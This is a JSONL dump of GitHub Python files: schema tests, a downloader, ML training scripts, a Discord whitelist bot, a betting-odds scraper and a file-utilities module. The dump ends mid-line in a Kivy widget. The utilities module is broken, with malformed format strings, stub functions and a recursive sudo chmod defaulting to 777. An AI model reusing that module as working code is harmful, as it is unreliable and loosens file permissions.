       \"number_of_contributions\": 0,\n    }\n\n    result = ConferencesPublicSchema().dump(data).data\n    assert expected_result == result\n\n\ndef test_admin_schema():\n    expected_result = {\n        \"_private_notes\": \"PRIVATE\",\n        \"_collections\": [\"collection1, collection2\"],\n        \"number_of_contributions\": 0,\n    }\n\n    data = {\n        \"_private_notes\": \"PRIVATE\",\n        \"_collections\": [\"collection1, collection2\"],\n        \"number_of_contributions\": 0,\n    }\n\n    result = ConferencesAdminSchema().dump(data).data\n    assert expected_result == result\n\n\ndef test_api_schema_doesnt_include_email_in_contact_details():\n    data = [{\"email\": \"test.test.test@cern.ch\", \"name\": \"Test, Contact\"}]\n\n    job = faker.record(\"con\", data={\"contact_details\": data})\n    result = ConferencesPublicListSchema().dumps(job).data\n    result_data = orjson.loads(result)\n\n    assert \"emails\" not in result_data[\"contact_details\"]\n","repo_name":"inspirehep/inspirehep","sub_path":"backend/tests/unit/records/marshmallow/conferences/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"}
+{"seq_id":"14479412620","text":"#!/usr/bin/env python\n# encoding:utf-8\n\nimport sys\nimport time\n\nsys.path.insert(0, \"C:\\\\work\\\\dpm\")\n\nfrom engine.common.start_up import gConfigFileWrapper\nfrom engine.reptile.download_dpm import CDownloadDpm\nfrom engine.reptile.metadata_dpm import gMetadataDpm\nfrom engine.reptile.download_dpm import downloadDpmRun\nfrom engine.common.thread_pool import CThreadPool\n\ndef downloads(iOffset, iNum):\n    lThreadPool = CThreadPool(iNum)\n    lThreadPool.setRunner(downloadDpmRun)\n    for j in range(iNum):\n        lThreadPool.addArgs((gConfigFileWrapper.getInt('dpm', 'resoure_category'), iOffset + j, gConfigFileWrapper.getStr('dpm', 'save_path')))\n        \n    start_time = time.time()\n    lThreadPool.run()\n    end_time = time.time()\n    print(\"--- %s seconds ---\" % (end_time - start_time))\n    gMetadataDpm.dumpResourceMetadata()\n\ndef main():\n    start_time = time.time()\n    lStartPage = gConfigFileWrapper.getInt('dpm', 'start_page')\n    lEndPage = gConfigFileWrapper.getInt('dpm', 'end_page')\n    lTotalPage = lEndPage - lStartPage  # [lStartPage, lEndPage)\n    lThreadsNum = gConfigFileWrapper.getInt('dpm', 'thread_num')\n\n    lLeft = lTotalPage % lThreadsNum\n    for i in range(0, lTotalPage - lLeft, lThreadsNum):\n        downloads(i + lStartPage, lThreadsNum)\n\n    if lLeft != 0:\n        downloads(lTotalPage - lLeft, lLeft)\n\n    end_time = time.time()\n    print(\"--- total %s seconds ---\" % (end_time - start_time))\n\nif __name__ == \"__main__\":\n    main()","repo_name":"sosohu/dpm","sub_path":"engine/reptile/main_dpm.py","file_name":"main_dpm.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39323136110","text":"import sys\n\nimport numpy as np\nimport torch\nimport torch.optim as optim\nfrom torch.utils.data.sampler import SubsetRandomSampler\nimport torchvision\nimport torchvision.transforms as transforms\nimport wandb\n\nfrom models import SimpleConvNet, MiniVGG, WideResNet, mobilenet_v2\nfrom pytorchtools import EarlyStopping\n\nBATCH_SIZE=32\nVALIDATION_FRACTION = 0.2\n\ndef create_data_loaders(config):\n    transform = transforms.Compose([\n        transforms.RandomHorizontalFlip(),\n        transforms.ToTensor(),\n        transforms.Normalize((0.5,), (0.5,))])\n\n    train_data = torchvision.datasets.FashionMNIST(root='./data', train=True, download=True, transform=transform)\n\n    num_train = len(train_data)\n    indices = list(range(num_train))\n    np.random.shuffle(indices)\n    split = int(np.floor(VALIDATION_FRACTION * num_train))\n    train_idx, valid_idx = indices[split:], indices[:split]\n\n    train_sampler = SubsetRandomSampler(train_idx)\n    valid_sampler = SubsetRandomSampler(valid_idx)\n\n    train_loader = torch.utils.data.DataLoader(train_data,\n                                            batch_size=BATCH_SIZE,\n                                            sampler=train_sampler,\n                                            num_workers=2)\n\n    valid_loader = torch.utils.data.DataLoader(train_data,\n                                                batch_size=BATCH_SIZE,\n                                                sampler=valid_sampler,\n                                                num_workers=2)\n\n    testset = torchvision.datasets.FashionMNIST(root='./data', train=False,\n                                        download=True, transform=transform)\n    test_loader = torch.utils.data.DataLoader(testset, batch_size=BATCH_SIZE,\n                                            shuffle=False, num_workers=2)\n\n    config[\"batch_size\"] = BATCH_SIZE\n    config[\"validation_fraction\"] = VALIDATION_FRACTION\n    config[\"data_augmentation\"] = str(transform)\n\n    return train_loader, valid_loader, test_loader\n\n\ndef create_model(config):\n    model_type = config[\"model_type\"] \n    if model_type == \"SimpleConvNet\":\n        if model_type not in config:\n            config[model_type] = {\"conv1_size\" :  32,\n                                \"conv2_size\" :  64,\n                                \"fc_size\" : 128}\n        model = SimpleConvNet(**config[model_type])\n    elif model_type == \"MiniVGG\":\n        if model_type not in config:\n            config[model_type] = {\"conv1_size\" :  128,\n                            \"conv2_size\" :  256,\n                            \"classifier_size\" : 1024}\n        model = MiniVGG(**config[model_type])\n    elif model_type == \"WideResNet\":\n        if model_type not in config:\n            config[model_type] = {\"depth\" :  34,\n                            \"num_classes\" :  10,\n                            \"widen_factor\" : 10}\n        model = WideResNet(**config[model_type])\n    # elif model_type == \"ShuffleNetv2\":\n    #     if model_type not in config:\n    #         config[model_type] = {}\n    #     model = shufflenet_v2_x0_5()\n    elif model_type == \"MobileNetv2\":\n        if model_type not in config:\n            config[model_type] = {\"pretrained\" : False}\n        model = mobilenet_v2(num_classes=10, pretrained=config[model_type][\"pretrained\"])\n    else:\n        print(f\"Error: MODEL_TYPE {model_type} unknown.\")\n        exit()\n\n    config[\"num_parameters\"] = sum(p.numel() for p in model.parameters())\n    config[\"num_trainable_parameters\"] = sum(p.numel() for p in model.parameters() if p.requires_grad)\n    return model\n\ndef setup_training(model, config):\n    device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n    model.to(device)\n\n    config[\"use_lr_decay\"] = True\n    config[\"lr_decay_rate\"] = 0.96\n\n    criterion = torch.nn.CrossEntropyLoss()\n    optimizer = optim.Adam(model.parameters())\n\n    lr_scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer=optimizer, gamma=config[\"lr_decay_rate\"])\n    return optimizer, criterion, lr_scheduler\n\n\ndef setup_wandb(model, config):\n    print(config)\n    wandb.login()\n    wandb.init(project=\"fashion_mnist\", anonymous=\"allow\", config=config)\n    wandb.watch(model, log=\"all\")\n\ndef test(model, test_loader, compute_confusion_matrix=False):\n    device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n    dataiter = iter(test_loader)\n    images, labels = dataiter.next()\n\n    correct = 0\n    total = 0\n    confusion_matrix = torch.zeros(10, 10)\n\n    with torch.no_grad():\n        for data in test_loader:\n            images, labels = data[0].to(device), data[1].to(device)\n            outputs = model(images)\n            _, predicted = torch.max(outputs.data, 1)\n            total += labels.size(0)\n            correct += (predicted == labels).sum().item()\n            if compute_confusion_matrix:\n                for t, p in zip(labels.view(-1), predicted.view(-1)):\n                        confusion_matrix[t.long(), p.long()] += 1\n    wandb.log({\n      \"Test Loss\": 100 * correct / total})        \n    print('Accuracy of the network on the 10000 test images: %d %%' % (\n        100 * correct / total))\n    if compute_confusion_matrix:\n        print(confusion_matrix)\n\n\n\n\ndef train(model, optimizer, criterion, lr_scheduler, train_loader, valid_loader, test_loader, config):\n    device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n    early_stopping = EarlyStopping(patience=5, verbose=True)\n    valid_losses = []\n\n    print(f\"Number of mini-batches: {len(train_loader)} for batch_size {BATCH_SIZE}\")\n    for epoch in range(20):\n        running_loss = 0.0\n        model.train()\n        for i, data in enumerate(train_loader, 0):\n            inputs, labels = data[0].to(device), data[1].to(device)\n\n            optimizer.zero_grad()\n\n            outputs = model(inputs)\n            loss = criterion(outputs, labels)\n            loss.backward()\n            optimizer.step()\n\n            running_loss += loss.item()\n            if i % 200 == 0:\n                print('[%d, %5d] loss: %.3f' %\n                        (epoch + 1, i + 1, running_loss / 200))\n                running_loss = 0.0\n                test(model, test_loader)\n\n        if config[\"use_lr_decay\"]:\n            print(f\"Decreasing learning rate to {lr_scheduler.get_lr()}, i.e. {config['lr_decay_rate']**(epoch+1)*100}%\")\n            lr_scheduler.step()\n        torch.save(model.state_dict(), f\"model_epoch{epoch}.h5\")\n        wandb.save(f\"model_epoch{epoch}.h5\")  \n\n        model.eval()\n        for data in valid_loader:\n            inputs, labels = data[0].to(device), data[1].to(device)\n            output = model(inputs)\n            loss = criterion(output, labels)\n            valid_losses.append(loss.item())\n\n\n        valid_loss = np.average(valid_losses)\n        early_stopping(valid_loss, model)\n        \n        if early_stopping.early_stop:\n            print(\"Early stopping\")\n            break\n    \n    print('Finished training.')\n    test(model, test_loader, compute_confusion_matrix=True)\n\ndef main():\n    print(\"Starting training...\")\n    # Train a vanilla CNN\n    MODEL_TYPE = \"SimpleConvNet\"\n    config = {\"model_type\": MODEL_TYPE,\n              MODEL_TYPE:  {\"conv1_size\":  64,\n                            \"conv2_size\":  128,\n                            \"fc_size\": 512}}\n    print(f\"Training {config}.\")\n    train_loader, valid_loader, test_loader = create_data_loaders(config)\n    model = create_model(config)\n    setup_wandb(model, config)\n    optimizer, criterion, lr_scheduler = setup_training(model, config)\n\n    train(model, optimizer, criterion, lr_scheduler, train_loader, valid_loader, test_loader, config)\n\n    # Train MobileNetv2 from scratch\n    MODEL_TYPE = \"MobileNetv2\"\n    config = {\"model_type\": MODEL_TYPE,\n              MODEL_TYPE : {\n                  \"pretrained\" : False\n              }}\n    print(f\"Training {config}.\")\n    train_loader, valid_loader, test_loader = create_data_loaders(config)\n    model = create_model(config)\n    setup_wandb(model, config)\n    optimizer, criterion, lr_scheduler = setup_training(model, config)\n\n    train(model, optimizer, criterion, lr_scheduler, train_loader, valid_loader, test_loader, config)\n    \n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"b-hahn/fashion_mnist_classifiers","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15134013271","text":"# bot.py\n\nDEBUG = False\n\n#os access\nimport os\n\n# discord bot api\nimport discord\n# enviromental variables importer\nfrom dotenv import load_dotenv\n# make api requests to minecraft-api\nimport requests\n\n#thing to identify commands on server\nPREFIX = '!'\n\nload_dotenv(verbose=True)\nTOKEN = os.getenv('DISCORD_TOKEN')\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n    print(f'{client.user} has connected to Discord!')\n\n# register an event handler\n@client.event\nasync def on_message(message):\n\n    # ignore myself\n    if (message.author == client.user):\n        return\n\n    if (message.content.startswith(PREFIX)):\n\n        if DEBUG:\n            print(\" -- RECEIVED COMMAND -- \")\n            print(\"Channel Catagory:\")\n            print(message.channel.category)\n\n        # minecraft\n        if (message.channel.category.name == \"minecraft\"):\n\n            if DEBUG:\n                print(\"MINECRAFT COMMAND\")\n\n            # minecraft whitelist command\n            if message.content.startswith(PREFIX + 'whitelist'):\n                # add to list\n                if message.content.startswith(PREFIX + 'whitelist add'):\n\n                    #get the list of users to add\n                    uname = message.content.split('add ', 1)[1]\n\n                    # make the request to minecraft api\n                    r = requests.get(\"http://\" + message.channel.name + \".root.cturtle98.com:8080/whitelist/add/?u=\" + uname)\n\n                    if r.ok:\n                        await message.channel.send(message.author.mention + \" I tried to add those user(s) to the wishlist. Try to join now!\")\n                    else:\n                        await message.channel.send(message.author.mention + \" ERROR! Please contact Ciaran!\")\n                \n                else:\n                    await message.channel.send(message.author.mention + \" Usage: !whitelist add <username. ~~ OR whitelist remove <username> ~~\")\n\n    else:\n        return\n\nclient.run(TOKEN)\n","repo_name":"cTurtle98/cTurtle98-Bot","sub_path":"bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6760683418","text":"import json\nfrom datetime import datetime\n\nfrom src.books.book import Book\nfrom src.helpers.singleton_helper import SingletonHelper\nfrom src.helpers.http_helper import HTTPHelper\nfrom src.helpers.logger_helper import LoggerHelper\n\n\nclass Winamax(Book):\n    EVENT_URL = \"https://www.winamax.fr/paris-sportifs/match/{event}\"\n\n\n    def __init__(self, singleton_provider: SingletonHelper, config):\n        super().__init__(singleton_provider, config)\n        singleton_provider.has_singleton_or_exeption(HTTPHelper, LoggerHelper)\n\n        self.http_service = singleton_provider.get_singleton(HTTPHelper)\n        self.logger = singleton_provider.get_singleton(LoggerHelper)\n\n\n    def get_sport_data(self, book_config):\n        url = self._config[\"url\"].format(id=book_config[\"id\"])\n        html = self.http_service.get(url).content\n        bets = self.get_bets_from_page(html)\n        if bets == None:\n            return None\n        return self.parse_bets(bets, book_config)\n\n\n    def get_bets_from_page(self, html: str):\n        START_STR = b\"var PRELOADED_STATE = \"\n        END_STR = b\";</script>\"\n\n        try:\n            start_index = html.index(START_STR) + len(START_STR)\n            end_index = html.index(END_STR, start_index)\n            value = html[start_index:end_index].strip()\n            if value:\n                try:\n                    return json.loads(value)\n                except json.JSONDecodeError as e:\n                    self.logger.error(ex, stack_info=True, exc_info=True)\n        except Exception as ex:\n            self.logger.error(\"Aucune valeur trouvée.\")\n            self.logger.error(ex, stack_info=True, exc_info=True)\n        return None\n\n\n    def parse_bets(self, parse_bets, book_config):\n        matches_table = parse_bets.get(\"matches\")\n        if matches_table == None:\n            self.logger.debug(\"No event\")\n            return None\n        bets_table = parse_bets.get(\"bets\")\n        outcomes_table = parse_bets.get(\"outcomes\")\n        odds_table = parse_bets.get(\"odds\")\n        table_winamax = []\n        for match in matches_table.values():\n            match_bet_id = match.get(\"mainBetId\")\n\n            if match_bet_id != None and match.get(\"sportId\") == int(book_config[\"id\"]):\n                cotes = []\n                bet = bets_table.get(str(match_bet_id))\n                bet_name = bet.get(\"betTitle\")\n                outcome_ids = bet.get(\"outcomes\")\n                bet_id = bet.get(\"betId\")\n\n                for outcome_id in [str(outcome_id) for outcome_id in outcome_ids]:\n                    outcome = outcomes_table.get(outcome_id)\n                    name_actor = outcome.get(\"label\")\n                    odd = odds_table.get(outcome_id)\n                    cotes.append({ \"player\": name_actor, \"cote\": odd})\n\n                table_winamax.append({\n                    \"event\": match.get(\"matchId\"),\n                    \"name\": match.get(\"title\"),\n                    \"bookmaker\": \"Winamax\",\n                    \"sport\": book_config[\"sport\"],\n                    \"allBet4match\": [{\"name\": bet_name, \"betId\": bet_id, \"odd\": cotes}],\n                    \"url\": Winamax.EVENT_URL.format(event=match.get(\"matchId\")),\n                    \"notify\": None,\n                    \"expireAt\": datetime.fromtimestamp(match.get(\"matchStart\")).isoformat()\n                })\n        return table_winamax\n","repo_name":"KillianKS/ScrapingScript","sub_path":"src/books/winamax.py","file_name":"winamax.py","file_ext":"py","file_size_in_byte":3354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"43228376051","text":"class Solution(object):\n    def longestWord(self, words):\n        \"\"\"\n        :type words: List[str]\n        :rtype: str\n        \"\"\"\n        words.sort(key=len)\n        pre, pre2 = set(), {''}\n        max_len = 1\n        for w in words:\n            # print(pre, pre2)\n            lw = len(w)\n            if lw > max_len:\n                break\n            elif lw == max_len:\n                if not pre2:\n                    break\n                max_len += 1\n                pre, pre2 = pre2, pre\n                pre2.clear()\n\n            if w[:-1] in pre:\n                pre2.add(w)\n\n        if pre2:\n            return min(pre2)\n        else:\n            return min(pre)\n\n\n#print(Solution().longestWord([\"a\", \"banana\", \"app\", \"appl\", \"ap\", \"apply\", \"apple\"]))\nprint(Solution().longestWord([\"ogz\",\"eyj\",\"e\",\"ey\",\"hmn\",\"v\",\"hm\",\"ogznkb\",\"ogzn\",\"hmnm\",\"eyjuo\",\"vuq\",\"ogznk\",\"og\",\"eyjuoi\",\"d\"]))\n","repo_name":"wufangjie/leetcode","sub_path":"720. Longest Word in Dictionary.py","file_name":"720. Longest Word in Dictionary.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"17310476062","text":"import os\nimport json\nimport shutil\nimport tarfile\nimport fnmatch\nimport argparse\nimport tempfile\n\n\n\n\"\"\"\nReferences: \n[1] Englehardt, Steven, and Arvind Narayanan. \n    \"Online tracking: A 1-million-site measurement and analysis.\" \n    In Proceedings of the 2016 ACM SIGSAC Conference on Computer and \n    Communications Security, pp. 1388-1401. ACM, 2016.\n\"\"\"\ndef rm(self,d):\n    shutil.rmtree()\n\ndef mkdir(self,d):\n    os.makedirs(d)\n\ndef touch(self,d):\n    open(d,'w')\n\ndef compress_path(self, path):\n    tmp = tar_packer(tar_dir=path)\n    return tmp\n\ndef rm(self,d):\n    fu.rmsubtree(location=d)\n\ndef chmod(path, mode=0o777, exist=False):\n    os.system('sudo chmod {}} -R /home/user'.format(mode, ))\n\n\ndef chownUser(self):\n    os.system('sudo chown -R user:user /home/user')\n\ndef gen_find_files(filepat, top):\n    \"\"\"\n    http://www.dabeaz.com/generators/\n    returns filenames that matches the given pattern under() a given dir\n    \"\"\"\n    for path, _, filelist in os.walk(top):\n        for name in fnmatch.filter(filelist, filepat):\n            yield os.path.join(path, name)\n\ndef rmsubtree(location):\n    \"\"\"Clears all subfolders and files in location\"\"\"\n    for root, dirs, files in os.walk(location):\n        for f in files:\n            os.unlink(os.path.join(root, f))\n        for d in dirs:\n            shutil.rmtree(os.path.join(root, d))\n\ndef tar_packer(**kwargs): \n    tar_dir = kwargs.get('tar_path','')\n    os.system('tar_')\n    \n\ndef tar_unpacker(**kwargs):\n    tar_path = kwargs.get('tar_path','')\n    count=1\n    tmp_path = tempfile.mkdtemp()\n    if tmp_path != '' and tar_path !='':\n        count+=1\n        path = os.path.join(tar_path, tar_path)\n        os.system('tar -xf {} path -C {}'.format(tar_path, path))\n        return tmp_path\n    else: \n        return \"\"\n\ndef compress_path(path):\n    tmp = tar_packer(tar_path=path)\n    return tmp\n\ndef json_flatten( **kwargs):\n    data = kwargs.get('data')\n    kv = kwargs.get('kv', {})\n    try: \n        for key,value in data.items():\n            # print(\"{}->{}\".format(key, value))\n            if type(value) == type(dict()):\n                json_flatten(data=value, kv=kv)\n            elif type(value) == type(list()):\n                for val in value:\n                    if type(val) == type(str()):\n                        \n                        kv[key] = val\n                        # print(\"kv str: {}\".format(kv))\n                        pass\n                    elif type(val) == type(list()):\n                        kv[key] = val\n                        # print(\"kv list: {}\".format(kv))\n                        pass\n                    else:\n                        json_flatten(data=val, kv=kv)\n            else: \n                kv[key] = value\n                # print(\"kv: {}\".format(kv))\n\n        return kv\n    except Exception: \n        return kv\n        \n\n","repo_name":"uiowa-irl/uiowa-irl-utils","sub_path":"file/file_utils.py","file_name":"file_utils.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"3120228573","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom sklearn.ensemble import GradientBoostingClassifier, GradientBoostingRegressor\nfrom predictor.predictor import Predictor\n\nclass GradientBoosting(Predictor):\n\n    def __init__(self):\n        super().__init__('gradient_boosting')\n        self.type = 'sklearn'\n        self.depth = 'shallow'\n        self.hasproba = True\n\n    def build(self, settings):\n        assert 'target_type' in settings\n\n        if settings['target_type'] == 'classification':\n            logging.info('built {} classifier'.format(self.name))\n            self.predictor = GradientBoostingClassifier(random_state=0)\n        else:\n            logging.info('built {} regressor'.format(self.name))\n            self.predictor = GradientBoostingRegressor(random_state=0)\n\n        if 'params_grid' in settings:\n            self.add_grid(settings)\n\n","repo_name":"epfl-ml4ed/flipped-classroom","sub_path":"predictor/gradient_boosting.py","file_name":"gradient_boosting.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"20174182971","text":"#\r\n# Copyright (c) 2019, Oracle and/or its affiliates.  All rights reserved.\r\n# Licensed under the Universal Permissive License v 1.0 as shown at http://oss.oracle.com/licenses/upl.\r\n#\r\n\r\nimport os\r\nimport warnings\r\nimport random\r\nimport pickle\r\nfrom time import time\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nimport torch\r\nfrom torch.utils.data import DataLoader\r\nfrom utils.loader import GraphDataset\r\n\r\nfrom tensorboardX import SummaryWriter\r\n\r\nfrom models.main import KGRNN\r\n\r\nimport yaml\r\nwith open(os.path.join(os.path.dirname(__file__), 'applications/icd9_prediction/parameters.yml'), 'r') as f:\r\n    parameters = yaml.load(f)\r\nTHREADS = parameters['threads']\r\nSEED = parameters['seed']\r\nSAVE_PATH = parameters['save_path']\r\nLOGS_PATH = parameters['logs_path']\r\nUSE_GPU = parameters['gpu']\r\nGPU_ID = parameters['gpu_id']\r\nNUM_TRIALS = parameters['opti']['num_trials']\r\nUSE_NEIGHBORS = parameters['models']['use_neighbors']\r\n\r\nwarnings.filterwarnings('ignore')\r\n\r\ndevice = torch.device(f'cuda:{GPU_ID}' if USE_GPU and torch.cuda.is_available() else 'cpu')\r\nif device.type == 'cuda':\r\n    print('Running on GPU...')\r\nelse:\r\n    print('Running on CPU...')\r\n\r\nif not USE_NEIGHBORS:\r\n    print('Neighbors disabled...')\r\nelse:\r\n    print('Neighbors enabled...')\r\nprint()\r\n\r\nrandom.seed(SEED)\r\nnp.random.seed(SEED)\r\ntorch.manual_seed(SEED)\r\ntorch.cuda.manual_seed(SEED)\r\ntorch.cuda.manual_seed_all(SEED)\r\n\r\nif USE_NEIGHBORS:\r\n    neighbors = pickle.load(open(SAVE_PATH + 'neighbors.pkl', 'rb'))\r\nelse:\r\n    neighbors = None\r\n\r\nfull_dump = np.load(SAVE_PATH + 'final_dump.npz')\r\nprint('Loading train set')\r\nX_train = torch.from_numpy(full_dump['X_train'])\r\ny_train = torch.from_numpy(full_dump['y_train']).float()\r\nif USE_NEIGHBORS:\r\n    y_neighs_w_train = torch.from_numpy(full_dump['y_neighs_w_train']).float()\r\nelse:\r\n    y_neighs_w_train = None\r\n\r\nprint('Loading val set')\r\nX_val = torch.from_numpy(full_dump['X_val'])\r\ny_val = torch.from_numpy(full_dump['y_val']).float()\r\nif USE_NEIGHBORS:\r\n    y_neighs_w_val = torch.from_numpy(full_dump['y_neighs_w_val']).float()\r\nelse:\r\n    y_neighs_w_val = None\r\n\r\nprint('Loading embedding statistics')\r\nwords2id = pickle.load(open(SAVE_PATH + 'words2id.pkl', 'rb'))\r\nnum_words = [len(x) for x in words2id]\r\nembeddings = list(zip(num_words, parameters['embeddings'].values()))\r\nwords2id = [sorted(words.items(), key=lambda w: w[1]) for words in words2id]\r\nembeddings_words = [[w[0] for w in words] for words in words2id]\r\nembeddings_name = list(parameters['embeddings'].keys())\r\n\r\nNUM_CLASSES = y_train.shape[1]\r\n\r\nprint(f'Number of classes:\\t{NUM_CLASSES:,}')\r\nprint()\r\nprint(f'Training size:\\t\\t{len(y_train):,}')\r\nprint(f'Validation size:\\t{len(y_val):,}')\r\nprint()\r\n\r\ndef trial(parameters, ts_start):\r\n    try:\r\n        train_loader = DataLoader(\r\n            GraphDataset(\r\n                X_train.transpose(0, 1), y_train, y_neighs_w_train,\r\n                neighbors['train'] if neighbors else None,\r\n                parameters['create_kg']['num_neighs']),\r\n            num_workers=THREADS,\r\n            batch_size=parameters['training']['train_batch_size'],\r\n            shuffle=True)\r\n        val_loader = DataLoader(\r\n            GraphDataset(\r\n                X_val.transpose(0, 1), y_val, y_neighs_w_val,\r\n                neighbors['val'] if neighbors else None,\r\n                parameters['create_kg']['num_neighs']),\r\n            num_workers=THREADS,\r\n            batch_size=parameters['training']['val_batch_size'],\r\n            shuffle=False)\r\n\r\n        os.mkdir(LOGS_PATH + ts_start)\r\n\r\n        model = KGRNN(\r\n            use_neighbors=USE_NEIGHBORS,\r\n            embeddings=embeddings,\r\n            num_classes=NUM_CLASSES,\r\n            gru_config=parameters['models']['gru'],\r\n            input_aggs_config=parameters['models']['input_aggs'],\r\n            neighs_aggs_config=parameters['models']['neighs_aggs'],\r\n            train_config=parameters['training'],\r\n            model_name=ts_start,\r\n            logger=SummaryWriter(LOGS_PATH + ts_start),\r\n            embeddings_name=embeddings_name,\r\n            embeddings_words=embeddings_words)\r\n        model.to(device)\r\n\r\n        (_,\r\n         val_losses,\r\n         val_f1s_macro,\r\n         val_f1s_micro,\r\n         val_aurocs_macro,\r\n         val_aurocs_micro) = model.fit(train_loader, val_loader, device)\r\n\r\n        best_idx = np.argmin(val_losses)\r\n\r\n        del model, train_loader, val_loader\r\n\r\n        return {\r\n            'epochs': len(val_losses),\r\n            'val_loss': val_losses[best_idx],\r\n            'val_auroc_macro': val_aurocs_macro[best_idx],\r\n            'val_auroc_micro': val_aurocs_micro[best_idx],\r\n            'val_f1_macro': val_f1s_macro[best_idx],\r\n            'val_f1_micro': val_f1s_micro[best_idx],\r\n            'parameters': parameters,\r\n            'ts_start': ts_start\r\n        }\r\n    except Exception as e:\r\n        print(e)\r\n        return {\r\n            'epochs': 0,\r\n            'val_loss': np.inf,\r\n            'val_auroc_macro': 0,\r\n            'val_auroc_micro': 0,\r\n            'val_f1_macro': 0,\r\n            'val_f1_micro': 0,\r\n            'parameters': parameters,\r\n            'ts_start': ts_start\r\n        }\r\n\r\nopti_start = int(time())\r\nresults = []\r\nfor i in range(NUM_TRIALS):\r\n    embeddings_dim = int(np.random.choice([8, 16, 32, 64, 128]))\r\n\r\n    parameters = {\r\n        'create_kg': {\r\n            'num_neighs': 10\r\n        },\r\n        'embeddings': {\r\n            'labs': embeddings_dim,\r\n            'cv': embeddings_dim,\r\n            'mv': embeddings_dim,\r\n            'outputs': embeddings_dim,\r\n            'prescrs': embeddings_dim\r\n        },\r\n        'models': {\r\n            'gru': {\r\n                'num_layers': int(np.random.choice([1, 2, 3, 4, 5])),\r\n                'hidden_size': int(np.random.choice([64, 128, 256, 512])),\r\n                'output_size': 64,\r\n                'dropout': float(np.random.choice([0, 0.1, 0.25, 0.5])),\r\n                'lr': 0.001,\r\n                'bidirectional': bool(np.random.choice([True, False]))\r\n            },\r\n            'input_aggs': {\r\n                'aggregator': str(np.random.choice(['max', 'mean'])),\r\n                'output_size': 64\r\n            },\r\n            'neighs_aggs': {\r\n                'aggregator': str(np.random.choice(['max', 'mean'])),\r\n                'output_size': 64\r\n            }\r\n        },\r\n        'training': {\r\n            'train_batch_size': int(np.random.choice([4, 8, 16, 32, 64, 128])),\r\n            'val_batch_size': 32,\r\n\r\n            'max_epochs': 200,\r\n            'patience_epochs': 20,\r\n            'verbose': False,\r\n            'save_snapshots': True\r\n        }\r\n    }\r\n\r\n    result = trial(parameters, str(int(time())))\r\n    print(f\"Trial {i+1:02d}/{NUM_TRIALS}\\tTrained epochs: {result['epochs']}\\tBest validation loss: {result['val_loss']:.4f}\\tBest Macro AUROC: {result['val_auroc_macro']:.4f}\\tBest Micro AUROC: {result['val_auroc_micro']:.4f}\\tBest Macro F1: {result['val_f1_macro']:.4f}\\tBest Micro F1: {result['val_f1_micro']:.4f}\")\r\n    results.append(result)\r\n    pd.DataFrame(results).to_csv(f'applications/icd9_prediction/resources/searches/{opti_start}.csv', index=None)\r\n\r\nresults = pd.DataFrame(results)\r\nresults.to_csv(f'applications/icd9_prediction/resources/searches/{opti_start}.csv', index=None)\r\n","repo_name":"hl685/pgx-samples","sub_path":"healthcare-diagnoses-prediction/opti.py","file_name":"opti.py","file_ext":"py","file_size_in_byte":7301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"3988251061","text":"from django.urls import path\nfrom . import views\n\napp_name = 'locations'\n\nurlpatterns = [\n    path('<int:userId>', views.plant_map, name=\"plant_map\"),\n    path('spot/<int:plantId>', views.tourist_spot , name=\"tourist_spot\"),\n    path('location', views.location_list, name=\"location_list\")\n]\n","repo_name":"Geenoos/Epari","sub_path":"backend/django/locations/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"21061126993","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 14 10:24:41 2022\n\n@author: Arthur\n\"\"\"\n\nfrom kivy.uix.scrollview import ScrollView\nfrom kivy.lang import Builder\n\nclass EndEventScroll(ScrollView):\n\n    def on_scroll_stop(self, *args, **kwargs):\n        result = super(EndEventScroll, self).on_scroll_stop(*args, **kwargs)\n\n        if self.scroll_y < 0 and hasattr(self, 'on_end_event'):\n            self.on_end_event()\n        return result\n\n\nif __name__ == '__main__':\n    from kivy.app import App\n\n    from kivy.uix.gridlayout import GridLayout\n    from kivy.uix.button import Button\n    from kivy.properties import ObjectProperty\n    from kivy.uix.label import Label\n    from kivy.uix.floatlayout import FloatLayout\n    \n    class Article_layout(FloatLayout):\n        def __init__(self, article_str, **kwargs):\n            super().__init__(**kwargs)\n            self.size= (1,1)\n            article_list = article_str.split(';')\n            article_title = Label(text=article_list[0], size_hint=(0.5, 0.4), pos_hint={'x':0.0, 'top':1})\n            # article_title.background_color = (0, 0, 1, 0.25)\n            self.add_widget(article_title)\n            article_authors = Label(text=article_list[1],size_hint=(.5, .3),pos_hint={'x':0.0, 'y':0.3})\n            self.add_widget(article_authors)\n            article_dop = Label(text=article_list[2],size_hint=(.5, .3),pos_hint={'x':0.0, 'y':0.0})\n            self.add_widget(article_dop)\n            article_source = 